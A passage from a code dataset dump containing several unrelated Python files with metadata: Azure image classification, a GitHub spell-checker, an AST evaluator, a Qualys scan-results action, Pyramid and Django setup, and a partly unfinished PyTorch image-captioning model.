"logging.INFO", "line_number": 27, "usage_type": "attribute"}, {"api_name": "logging.WARNING", "line_number": 27, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 28, "usage_type": "attribute"}, {"api_name": "logging.CRITICAL", "line_number": 28, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 31, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 45, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 107, "usage_type": "call"}, {"api_name": "time.time", "line_number": 161, "usage_type": "call"}, {"api_name": "time.time", "line_number": 163, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 136, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 171, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 171, "usage_type": "name"}, {"api_name": "time.time", "line_number": 196, "usage_type": "call"}, {"api_name": "time.time", "line_number": 198, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 184, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 229, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 238, "usage_type": "call"}, {"api_name": "signal.SIGALRM", "line_number": 238, "usage_type": "attribute"}, {"api_name": "signal.alarm", "line_number": 239, "usage_type": "call"}, {"api_name": "signal.alarm", "line_number": 242, "usage_type": "call"}, {"api_name": "typing.Callable", "line_number": 208, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 208, "usage_type": "name"}]} {"seq_id": "110343648", "text": "from timeit import default_timer as timer\ntime_start_read1 = timer()\nimport sys\nimport os\nimport time\nimport platform\nimport load_model\nimport json\nimport cv2\nimport tempfile\nimport logging\nimport datetime\n\n\nlogging.basicConfig(format='%(asctime)s : %(message)s', level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\nmodel_path = '.{}mxnet_models{}squeezenetv1.1{}'.format(os.sep, os.sep, os.sep)\nglobal_model = load_model.ImagenetModel(model_path+'synset.txt', model_path+'squeezenet_v1.1')\nlogger.info(\"Entering classification\")\nprint(\"loaded model in {}\".format(timer()- time_start_read1))\n\ndef mxnet_image_classification(N=5, reshape=(224, 224)):\n if global_model is not None:\n try:\n dictionary = {}\n \n # Read the image from the folder\n time_start_read = timer()\n filename = \"dummy\"\n im = cv2.imread(os.environ['myBlob'])\n time_stop_read = timer()\n print(\"Read image {} in {} seconds\".format(filename, time_stop_read - time_start_read))\n\n # Predict the classification from the image\n prediction = global_model.predict_from_image(im, reshape, N)\n time_end_prediction = timer()\n print(\"Predicted image {} in {} seconds\".format(filename, time_end_prediction - time_stop_read))\n\n # Create the Payload JSON with the necessary fields\n for idx, elem in enumerate(prediction):\n temp_dict = {}\n temp_dict[\"probability\"] = float(elem[0])\n temp_dict[\"wordnetid\"], temp_dict[\"classification\"] = elem[1].split(\" \", 1) \n dictionary[\"classification_{}\".format(idx)] = temp_dict\n # CANNOT PULL IMAGEFILENAME\n dictionary[\"imageiotime\"] = time_stop_read - time_start_read\n dictionary[\"predictiontime\"] = time_end_prediction - time_stop_read\n dictionary[\"totalcomputetime\"] = timer() - time_start_read\n dictionary[\"messagesendutctime\"] = datetime.datetime.utcnow().isoformat()\n dictionary[\"totalfunctiontime\"] = timer()- time_start_read1\n json_payload = json.dumps(dictionary)\n \n # Output the modified file to a separate folder in the Storage Blob\n output_file = open(os.environ['outputBlob'], 'w')\n output_file.write(json_payload)\n output_file.close()\n \n logging.info(json_payload)\n print(\"Payload: \",json_payload)\n print(\"All procedure for {} done in {} seconds. \\n\".format(filename, timer() - time_start_read))\n\n except Exception as ex:\n e = sys.exc_info()[0]\n print(\"Exception occured during prediction: %s\" % e)\n print(\"Exception: %s\" % ex)\n sys.exit(0)", "sub_path": "Cloud_pipelines/Azure/Image-Pipeline/mxnet_image_classification.py", "file_name": "mxnet_image_classification.py", "file_ext": "py", "file_size_in_byte": 2818, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "timeit.default_timer", "line_number": 2, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 15, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 18, "usage_type": "attribute"}, {"api_name": "load_model.ImagenetModel", "line_number": 19, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 21, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 31, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 31, "usage_type": "attribute"}, {"api_name": "timeit.default_timer", "line_number": 32, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 37, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 50, "usage_type": "attribute"}, {"api_name": "timeit.default_timer", "line_number": 51, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 52, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 55, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 59, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 61, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 64, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 67, "usage_type": "call"}]} {"seq_id": "316502816", "text": "import sys, string, requests, enchant,collections # requests is for HTTP requests; enchant is for checking spelling\nword_repeat_limit=3\ndef most_popular(amount):\n # GitHub's API only allows us to return up to 100 results per page, so amount should be <= 100\n if amount > 100:\n raise Exception(\"amount must be less than or equal to 100\")\n req = requests.get(\"https://api.github.com/search/repositories?q=stars:>0&per_page=\" + str(amount))\n popular = [tuple(repo[\"full_name\"].split('/')) for repo in req.json()[\"items\"]]\n # the format of the returned value is (owner,repo)\n return popular\n\ndef get_file_type(path):\n if \".\" in path:\n return path.rsplit(\".\")[1]\n else:\n return \"\"\n\ndef file_paths(owner,repo,branch):\n tree = requests.get(\"https://api.github.com/repos/\" + owner + \"/\" + repo + \"/git/trees/\"+branch+\"?recursive=1\").json()\n # we look for the paths of files, not directories\n files = [item[\"path\"] for item in tree[\"tree\"] if item[\"type\"] == \"blob\"]\n # ignore hidden files\n files = [x for x in files if x[0] !=\".\"]\n files = [x for x in files if get_file_type(x) in [\"js\",\"py\",\"rb\",\"php\",\"java\",\"rs\"]] # we only can detect comments in certain file formats\n return files\n\n\ndef get_words(line):\n # returns a list of words in a given line (words can only include letters)\n words = filter(lambda s: s.isalpha(),line.split())\n return set(words)\ncounted_comment_words=collections.Counter()#keeps track of words counted\ndef get_word_types(text,file_type): #returns the line number and text of each single-line comment in a file\n text=\"\\n\".join(text)\n code_words=set([])\n comment_words=set([])\n line_number=1\n current_word=\"\"\n in_code=True#This indicates what character is bounding.\n comment_type=\"\"\n skip_next=False\n if file_type==\"js\" or file_type==\"java\" or file_type==\"rs\":\n for i in range(len(text)):\n if skip_next:\n skip_next=False\n continue\n char=text[i]\n if char==\"\\\\\":\n skip_next=True\n elif in_code:\n if char in string.lowercase:\n current_word+=char\n else:\n code_words.add(current_word)\n\n current_word=\"\"\n if char in string.uppercase:\n current_word+=char.lower()\n elif char==\"/\" and text[i+1]==\"/\":\n skip_next=True\n in_code=False\n comment_type=\"//\"\n elif char==\"/\" and text[i+1]==\"*\":\n skip_next=True\n in_code=False\n comment_type=\"/*\"\n elif char==\"\\n\":\n line_number+=1\n else:\n if char.lower() in string.lowercase:\n current_word+=char.lower()\n else:\n if current_word!=\"\":\n comment_words.add((current_word,line_number))\n counted_comment_words[current_word]+=1\n current_word=\"\"\n if char==\"\\n\" and comment_type=='//':\n in_code=True\n line_number+=1\n elif char==\"*\" and text[i+1]==\"/\" and comment_type=='/*':\n in_code=True\n skip_next=True\n elif char==\"\\n\":\n line_number+=1\n elif file_type==\"php\":\n for i in range(len(text)):\n if skip_next:\n skip_next=False\n continue\n char=text[i]\n if char==\"\\\\\":\n skip_next=True\n elif in_code:\n if char in string.lowercase:\n current_word+=char\n else:\n code_words.add(current_word)\n current_word=\"\"\n if char in string.uppercase:\n current_word+=char.lower()\n elif char==\"/\" and text[i+1]==\"/\":\n skip_next=True\n in_code=False\n comment_type=\"//\"\n elif char==\"/\" and text[i+1]==\"*\":\n skip_next=True\n in_code=False\n comment_type=\"/*\"\n elif char==\"#\":\n in_code=False\n comment_type=\"#\"\n elif char==\"\\n\":\n line_number+=1\n else:\n if char.lower() in string.lowercase:\n current_word+=char.lower()\n else:\n if current_word!=\"\":\n comment_words.add((current_word,line_number))\n counted_comment_words[current_word]+=1\n current_word=\"\"\n if char==\"\\n\" and comment_type=='//':\n in_code=True\n line_number+=1\n elif char==\"*\" and text[i+1]==\"/\" and comment_type=='/*':\n in_code=True\n skip_next=True\n elif char==\"\\n\" and comment_type=='#':\n in_code=True\n line_number+=1\n elif char==\"\\n\":\n line_number+=1\n elif file_type==\"py\":\n for i in range(len(text)):\n if skip_next:\n skip_next=False\n continue\n char=text[i]\n if char==\"\\\\\":\n skip_next=True\n elif in_code:\n if char in string.lowercase:\n current_word+=char\n else:\n code_words.add(current_word)\n current_word=\"\"\n if char in string.uppercase:\n current_word+=char.lower()\n elif char==\"#\":\n in_code=False\n comment_type=\"#\"\n elif char==\"\\n\":\n line_number+=1\n else:\n if char.lower() in string.lowercase:\n current_word+=char.lower()\n else:\n if current_word!=\"\":\n comment_words.add((current_word,line_number))\n counted_comment_words[current_word]+=1\n current_word=\"\"\n if char==\"\\n\" and comment_type=='#':\n in_code=True\n line_number+=1\n elif char==\"\\n\":\n line_number+=1\n for i in counted_comment_words:\n if counted_comment_words[i]>=word_repeat_limit:#yes its 5 for now\n code_words.add(i)\n return code_words.difference([\"\"]),comment_words\n\ndef words_in_file(text):\n wordset = set([])\n for line in text:\n wordset = wordset.union(get_words(line))\n return wordset\n\ndef get_text(owner,repo,branch,file_path):\n raw = requests.get(\"https://raw.githubusercontent.com/\" + owner + \"/\" + repo + \"/\"+branch+\"/\" + file_path).text\n text = raw.split(\"\\n\")\n return text\n\ndef edits1(word): # this function is stolen from Peter Norvig's article http://norvig.com/spell-correct.html\n splits = [(word[:i], word[i:]) for i in range(len(word) + 1)]\n deletes = [a + b[1:] for a, b in splits if b]\n transposes = [a + b[1] + b[0] + b[2:] for a, b in splits if len(b)>1]\n replaces = [a + c + b[1:] for a, b in splits for c in string.lowercase if b]\n inserts = [a + c + b for a, b in splits for c in string.lowercase]\n return set(deletes + transposes + replaces + inserts)\n\n#from nltk.tag import pos_tag\ndef check_spelling(owner,repo,branch=\"master\"):\n dictionaryUS = enchant.Dict(\"en_US\")\n dictionaryGB = enchant.Dict(\"en_GB\")\n paths = file_paths(owner,repo,branch)\n print(\"Writing down domain-specific words....\")\n #special_words = [(path,words_in_file(get_text(owner,repo,branch,path))) for path in paths]\n print(\"Done!\")\n for path in paths:\n text = get_text(owner,repo,branch,path)\n code_words,comment_words = get_word_types(text,get_file_type(path))\n excused_words = code_words\n for item in comment_words:\n word,line_number=item\n wordl = word.lower()\n if not dictionaryUS.check(wordl) and not dictionaryGB.check(wordl):\n if not word in excused_words:\n # to narrow down the list of candidates, we only look at words that are one edit away from real words\n edits = edits1(wordl)\n try:\n if True in map(lambda w: dictionaryUS.check(w), edits) or True in map(lambda w: dictionaryGB.check(w), edits):\n url = \"https://github.com/\" + owner + \"/\" + repo + \"/blob/\"+branch+\"/\" + path + \"#L\" + str(line_number)\n print(word + \" from \" + url)\n except:\n print(\"Error on word \" + word)\n\ndef main():\n if len(sys.argv) > 3:\n check_spelling(sys.argv[1],sys.argv[2],sys.argv[3])\n elif len(sys.argv)==3:\n check_spelling(sys.argv[1],sys.argv[2])\n else:\n for (owner,repo) in most_popular(int(sys.argv[1])):\n print(\"Checking \" + owner + \"/\" + repo + \"....\")\n check_spelling(owner,repo)\n\nif __name__ == '__main__':\n main()\n", "sub_path": "spellbound.py", "file_name": "spellbound.py", "file_ext": "py", "file_size_in_byte": 9652, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.get", "line_number": 7, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 19, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 32, "usage_type": "call"}, {"api_name": "string.lowercase", "line_number": 51, "usage_type": "attribute"}, {"api_name": "string.uppercase", "line_number": 57, "usage_type": "attribute"}, {"api_name": "string.lowercase", "line_number": 70, "usage_type": "attribute"}, {"api_name": "string.lowercase", "line_number": 94, "usage_type": "attribute"}, {"api_name": "string.uppercase", "line_number": 99, "usage_type": "attribute"}, {"api_name": "string.lowercase", "line_number": 115, "usage_type": "attribute"}, {"api_name": "string.lowercase", "line_number": 142, "usage_type": "attribute"}, {"api_name": "string.uppercase", "line_number": 147, "usage_type": "attribute"}, {"api_name": "string.lowercase", "line_number": 155, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 179, "usage_type": "call"}, {"api_name": "string.lowercase", "line_number": 187, "usage_type": "attribute"}, {"api_name": "string.lowercase", "line_number": 188, "usage_type": "attribute"}, {"api_name": "enchant.Dict", "line_number": 193, "usage_type": "call"}, {"api_name": "enchant.Dict", "line_number": 194, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 218, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 219, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 220, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 221, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 223, "usage_type": "attribute"}]} {"seq_id": "493914817", "text": "from __future__ import division\n\ndef eval_ast(mod):\n\n import ast\n import numpy\n from numexpr import evaluate\n\n context = {}\n context['division'] = division # THAT seems strange !\n context['inf'] = numpy.inf\n context['evaluate'] = evaluate\n context['maximum'] = numpy.maximum\n context['minimum'] = numpy.minimum\n context['exp'] = numpy.exp\n context['log'] = numpy.log\n context['sin'] = numpy.sin\n context['cos'] = numpy.cos\n context['abs'] = numpy.abs\n\n name = mod.body[0].name\n mod = ast.fix_missing_locations(mod)\n code = compile(mod, '<string>', 'exec')\n exec(code, context, context)\n fun = context[name]\n return fun\n", "sub_path": "dolang/eval_custom.py", "file_name": "eval_custom.py", "file_ext": "py", "file_size_in_byte": 680, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "__future__.division", "line_number": 10, "usage_type": "name"}, {"api_name": "numpy.inf", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numexpr.evaluate", "line_number": 12, "usage_type": "name"}, {"api_name": "numpy.maximum", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.minimum", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.cos", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 19, "usage_type": "attribute"}, {"api_name": "ast.fix_missing_locations", "line_number": 22, "usage_type": "call"}]} {"seq_id": "622139230", "text": "from lib.base import QualysBaseAction\n\nimport json\n\n__all__ = [\n 'GetScanResults'\n]\n\n\nclass LaunchScanAction(QualysBaseAction):\n def run(self, scan_ref=None):\n payload = {\n 'scan_ref': scan_ref,\n 'action': 'fetch',\n 'output_format': 'json'\n }\n scan_results = None\n try:\n scan_results = self.connection.request(\n api_call='api/2.0/fo/scan',\n data=payload,\n api_version=2,\n http_method='GET'\n )\n return True, json.loads(scan_results)\n except ConnectionError as e:\n return False, e\n\n", "sub_path": "actions/get_scan_results.py", "file_name": "get_scan_results.py", "file_ext": "py", "file_size_in_byte": 658, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "lib.base.QualysBaseAction", "line_number": 10, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 25, "usage_type": "call"}]} {"seq_id": "155318283", "text": "from pyramid.config import Configurator\nfrom sqlalchemy import engine_from_config\nfrom os import environ\nfrom .models import get_counter_tables\n\n\ndef main(global_config, **settings):\n sqlalchemy_url_value = environ.get('MARIADB_STRING_CONNECTION', 'mysql://root:pass@172.17.0.3:3306/matomo')\n settings.update({'sqlalchemy.url': sqlalchemy_url_value})\n\n application_url_value = environ.get('APPLICATION_URL', 'http://127.0.0.1:6543')\n settings.update({'application.url': application_url_value})\n\n config = Configurator(settings=settings)\n\n engine = engine_from_config(settings, 'sqlalchemy.')\n counter_tables = get_counter_tables(engine)\n\n settings = config.registry.settings\n settings['counter_tables'] = counter_tables\n\n config.add_route('home', '/')\n config.add_route('status', '/status')\n config.add_route('members', '/members')\n config.add_route('reports', '/reports')\n config.add_route('reports_report_id', '/reports/{report_id}')\n config.scan('.views')\n\n return config.make_wsgi_app()\n", "sub_path": "api/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1039, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.environ.get", "line_number": 8, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 8, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 11, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 11, "usage_type": "name"}, {"api_name": "pyramid.config.Configurator", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.engine_from_config", "line_number": 16, "usage_type": "call"}, {"api_name": "models.get_counter_tables", "line_number": 17, "usage_type": "call"}]} {"seq_id": "96595368", "text": "from django.urls import path, include\n\nfrom django.contrib import admin\n\nadmin.autodiscover()\n\nimport hello.views\n\n# To add a new path, first import the app:\n# import blog\n#\n# Then add the new path:\n# path('blog/', blog.urls, name=\"blog\")\n#\n# Learn more here: https://docs.djangoproject.com/en/2.1/topics/http/urls/\n\nurlpatterns = [\n path(\"\", hello.views.index, name=\"index\"),\n path(\"venta/\", hello.views.venta, name=\"venta\"),\n path(\"contacto/\", hello.views.contacto, name=\"contacto\"),\n path(\"contactos/<int:pk>/\", hello.views.contacto2, name=\"contacto2\"),\n path(\"comprar/\", hello.views.portal, name=\"portal\"),\n path(\"comprar/<int:pk>/\", hello.views.clasificado_detalle, name=\"clasificado_detalle\"),\n \n path(\"admin/\", admin.site.urls),\n]\n\n\nadmin.site.site_header = \"IDEAL\"\nadmin.site.index_title = \"Administración\"\nadmin.site.site_title = \"IDEAL\"", "sub_path": "gettingstarted/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 871, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.contrib.admin.autodiscover", "line_number": 5, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 5, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "hello.views.views", "line_number": 18, "usage_type": "attribute"}, {"api_name": "hello.views", "line_number": 18, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "hello.views.views", "line_number": 19, "usage_type": "attribute"}, {"api_name": "hello.views", "line_number": 19, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "hello.views.views", "line_number": 20, "usage_type": "attribute"}, {"api_name": "hello.views", "line_number": 20, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "hello.views.views", "line_number": 21, "usage_type": "attribute"}, {"api_name": "hello.views", "line_number": 21, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "hello.views.views", "line_number": 22, "usage_type": "attribute"}, {"api_name": "hello.views", "line_number": 22, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "hello.views.views", "line_number": 23, "usage_type": "attribute"}, {"api_name": "hello.views", "line_number": 23, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 25, "usage_type": "name"}, {"api_name": "django.contrib.admin.site", "line_number": 29, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 29, "usage_type": "name"}, {"api_name": "django.contrib.admin.site", "line_number": 30, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 30, "usage_type": "name"}, {"api_name": "django.contrib.admin.site", "line_number": 31, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 31, "usage_type": "name"}]} {"seq_id": "172471355", "text": "import torch\nfrom torch import nn\nimport torchvision\n\n\nclass Encoder(nn.Module):\n \"\"\"\n Encoder\n \"\"\"\n def __init__(self, encoded_image_size=14):\n super(Encoder, self).__init__()\n self.enc_img_size = encoded_image_size\n\n cnn_ext = torchvision.models.resnet50(pretrained = True) # 使用预训练的 resnet-50\n modules = list(cnn_ext.children())[:-2] # 去掉网络中的最后两层，考虑使用 list(cnn_ext.children())\n self.cnn_ext = nn.Sequential(*modules) # 使用 nn.Sequential 定义好 encoder\n\n self.adaptive_pool = nn.AdaptiveAvgPool2d((encoded_image_size, encoded_image_size)) # 使用 nn.AdaptiveAvgPool2d 将输出改变到指定的大小\n\n def forward(self, img):\n out = self.cnn_ext(img) # [bs, 2048, 8, 8]\n out = self.adaptive_pool(out) # [bs, 2048, enc_img_size, enc_img_size]\n out = out.permute(0, 2, 3, 1) # [bs, enc_img_size, enc_img_size, 2048]\n return out\n\n def freeze_params(self, freeze):\n for p in self.cnn_ext.parameters():\n p.requires_grad = False\n\n for c in list(self.cnn_ext.children())[5:]:\n for p in c.parameters():\n p.requires_grad = (not freeze)\n\n\nclass AttentionModule(nn.Module):\n \"\"\"\n Attention Module with Decoder\n \"\"\"\n\n def __init__(self, encoder_dim, decoder_dim, attention_dim):\n \"\"\"\n :param encoder_dim: 图片经过 Encoder 之后的特征维度\n :param decoder_dim: 解码器隐含状态 h 的维度\n :param attention_dim: attention的维度\n \"\"\"\n super(AttentionModule, self).__init__()\n\n self.encoder_att = nn.Linear(encoder_dim, attention_dim) # Linear, encoder_dim -> attention_dim\n self.decoder_att = nn.Linear(decoder_dim, attention_dim) # Linear, decoder_dim -> attention_dim\n self.relu = nn.ReLU() # relu 激活函数\n self.softmax = nn.Softmax(dim=1) # softmax 激活函数, dim=1\n\n def forward():\n \"\"\"\n 注意力机制的前向传播过程\n 待完成\n \"\"\"\n\nclass Decoder(nn.Module):\n\n def __init__(self, embed_dim, decoder_dim, vocab_size, encoder_dim=2048, dropout=0.5):\n \"\"\"\n 需要加入attention机制（待完成）\n :params embed_dim: 词向量的维度\n :params decoder_dim: 解码器的维度\n :params vocab_size: 单词总数\n :params encoder_dim: 编码图像的特征维度\n :params dropout: dropout 的比例\n \"\"\"\n super(Decoder, self).__init__()\n # 定义类中的参数\n self.encoder_dim = encoder_dim\n self.embed_dim = embed_dim\n self.decoder_dim = decoder_dim\n self.vocab_size = vocab_size\n\n # 定义decoder中需要的网络层\n self.embedding = nn.Embedding(vocab_size, embed_dim) # 定义词嵌入 word embedding, (vocab_size, embed_dim)\n self.dropout = nn.Dropout(dropout) # 定义 dropout，dropout = 0.5\n self.decode_step = nn.LSTMCell(embed_dim + encoder_dim, decoder_dim,\n bias=True) # 定义 LSTMCell 作为 Decoder 中的序列模块，输入是 embed + encoder_out\n self.init_h = nn.Linear(encoder_dim, decoder_dim) # 定义线性层将 encoder_out 转换成 hidden state\n self.init_c = nn.Linear(encoder_dim, decoder_dim) # 定义线性层将 encoder_out 转换成 cell state\n self.f_beta = nn.Linear(decoder_dim, encoder_dim) # 定义线性层, decoder_dim -> encoder_dim\n self.sigmoid = nn.Sigmoid() # 定义 sigoid 激活函数F\n self.fc = nn.Linear(decoder_dim, vocab_size) # 定义输出的线性层\n\n def init_hidden_state(self, encoder_out):\n \"\"\"\n 给 LSTM 传入初始的 hidden state，其依赖于 Encoder 的输出\n :param encoder_out: 通过 Encoder 之后的特征，维度是 (bs, num_pixels, encoder_dim)\n :return: hidden state, cell state\n \"\"\"\n # 对所有的像素求平均\n mean_encoder_out = encoder_out.mean(dim=1)\n # 线性映射分别得到 hidden state 和 cell state\n h = self.init_h(mean_encoder_out)\n c = self.init_c(mean_encoder_out)\n return h, c\n\n def forward(self, encoder_out, encoded_captions, caption_lens):\n \"\"\"\n Decoder的向前传播机制\n :param:encoder_out:编码之后的特征，维度是(bs, num_pixels, encoder_dim)\n :param:encoder_caption:字幕，维度是(bs,max_caption_len)\n :param:caption_lens:字幕真正长度，维度是 (bs, 1)\n\n Returns:predictions，预测的字幕\n \"\"\"\n batch_size = encoder_out.shape[0]\n encoder_dim = encoder_out.shape[-1]\n vocab_size = self.vocab_size\n\n # flatten encode_out 特征\n encoder_out = encoder_out.view(batch_size, -1,\n encoder_dim) # (bs, size_pic,size_pic,encodet_dim)-->(bs, num_pixels, encoder_dim)\n num_pixels = encoder_out.size(1)\n\n # 对输入的字幕长度按照降序排列,同时对encoder_out也按照该顺序进行排列\n # 对应原理：分批次训练时，字幕长度短的训练次数少\n caption_lens, sort_idx = caption_lens.squeeze(1).sort(dim=0, descending=True)\n encoder_out = encoder_out[sort_idx]\n encoded_captions = encoded_captions[sort_idx]\n embeddings = self.embedding(\n encoded_captions) # 得到 encoded_captions 的词向量, （bs, max_caption_len）-->(bs, max_caption_lens, embed_dim)\n\n # 初始化 LSTM hidden state 和 cell state\n h, c = self.init_hidden_state(encoder_out)\n\n # 不会对 <end> 位置进行解码，所以解码的长度是 caption_lens - 1\n decode_lens = (caption_lens - 1).tolist()\n\n # 定义存储预测结果的空 tensor\n predictions = torch.zeros(batch_size, max(decode_lens), vocab_size)\n\n # 在每个时间步，通过 decoder 上一步的 hidden state 来生成新的单词\n for t in range(max(decode_lens)):\n # 决定当前时间步的 batch_size，通过 [:batch_size_t] 可以得到当前需要的 tensor\n # t ==0; batch_size_t = all; 意味着长度越短的字幕迭代的次数越少\n batch_size_t = sum([l > t for l in decode_lens])\n print(\"t:\", t, \" bs_t:\", batch_size_t);\n\n # 前向传播一个时间步，输入是 embeddings\n # hidden state 和 cell state 也需要输入到网络中，注意使用 batch_size_t 取得当前有效的 tensor\n h, c = self.decode_step(embeddings[:batch_size_t, t,:],\n (h[:batch_size_t], c[:batch_size_t]))\n\n preds = self.fc(self.dropout(h)) # 对 h 进行 dropout 和全连接层得到预测结果\n\n predictions[:batch_size_t, t, :] = preds\n\n return predictions, encoded_captions, decode_lens, sort_idx\n", "sub_path": "2018202177/src/codes/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 6896, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.nn.Module", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 6, "usage_type": "name"}, {"api_name": "torchvision.models.resnet50", "line_number": 14, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.nn.Sequential", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 35, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 50, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 59, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 59, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.LSTMCell", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 80, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 82, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 83, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 84, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 85, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 86, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 134, "usage_type": "call"}]} {"seq_id": "213302028", "text": "# %%\nimport obonet\nfrom loguru import 